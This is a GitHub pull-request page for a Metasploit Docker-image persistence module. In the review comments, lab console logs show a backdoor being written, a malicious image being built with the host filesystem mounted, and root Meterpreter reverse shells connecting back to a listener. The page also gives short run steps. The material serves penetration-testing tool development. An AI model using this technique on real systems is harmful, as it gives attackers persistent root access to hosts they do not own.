docker image persistence module - #20536
Merged
Merged
Conversation
h00die
marked this pull request as draft
September 10, 2025 02:57
h00die
marked this pull request as ready for review
September 10, 2025 17:47
msutovsky-r7
left a comment
Contributor
There was a problem hiding this comment.
msf exploit(linux/persistence/docker_image) > check
[*] Checking Docker availability and permissions...
[*] The service is running, but could not be validated. docker app is installed and accessible
msf exploit(linux/persistence/docker_image) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(linux/persistence/docker_image) >
[*] Started reverse TCP handler on 192.168.168.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Docker availability and permissions...
[!] The service is running, but could not be validated. docker app is installed and accessible
[*] Writing backdoor to /tmp//FXnTrRF
[*] Writing '/tmp//FXnTrRF' (1121480 bytes) ...
[*] 192.168.168.146 - Meterpreter session 2 closed. Reason: Died
[*] Temporary container created: ba365ec6b4ea724f8b42dd95f24dab5e92cee010f3339e7a92c25f8c0a2f5134
[+] Persistent image created: alpine_urlksqax
[+] Container started with internal entrypoint: e761311980454ca86ae43e81f19cf055409bd0eaed6e31325a9c518886415f70
[*] Stopping and removing temp container
[*] Meterpreter session 4 opened (192.168.168.128:4444 -> 192.168.168.146:60154) at 2025-09-16 11:46:16 +0200
[*] Payload installed and running with 600-second loop in container
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/192.168.168.146_20250916.4626/192.168.168.146_20250916.4626.rc
Contributor
Author
|
accepted all suggestions! |
msutovsky-r7
approved these changes
Sep 17, 2025
msutovsky-r7
left a comment
Contributor
There was a problem hiding this comment.
Looks good to me!
msf exploit(linux/persistence/docker_image) > run verbose=true
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.168.128:4444
msf exploit(linux/persistence/docker_image) > [*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Docker availability and permissions...
[!] The service is running, but could not be validated. docker app is installed and accessible
[*] Writing backdoor to /tmp//mllatntIC
[*] Writing '/tmp//mllatntIC' (250 bytes) ...
[*] Temporary container created: 8b6c2c55c531dea6c44ea55156fa09ff0d1ea084a6eea55ee03387658a7e280a
[+] Persistent image created: alpine_agmfjiti
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 192.168.168.146
[+] Container started with internal entrypoint: 7b01dfc5cf301ce75d9f8a4f3ee2c57fc9d2f64b81fde7d2c9b8d59eb1745af8
[*] Stopping and removing temp container
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.146:60680) at 2025-09-17 09:54:08 +0200
[*] Payload installed and running with 600-second loop in container
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/192.168.168.146_20250917.5418/192.168.168.146_20250917.5418.rc
msf exploit(linux/persistence/docker_image) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux root @ 192.168.168.146 192.168.168.128:4242 -> 192.168.168.146:45916 (192.168.168.146)
2 meterpreter x64/linux root @ 172.17.0.3 192.168.168.128:4444 -> 192.168.168.146:60680 (::1)
msf exploit(linux/persistence/docker_image) > sessions 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : 172.17.0.3
OS : (Linux 6.8.0-79-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
Contributor
Release NotesThis adds a new persistence module - Docker image persistence. The module will create and run a Docker container, which will then run a payload. The container also has a host filesystem mounted to |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Draft module which creates a docker image on the box with our payload, and also maps
/to/hostallowing for easy upstream attacks of the host.Verification
List the steps needed to make sure this thing works
msfconsoleuse exploit/linux/persistence/docker_imageset SESSION [SESSION]run/hostmounted from/on the host.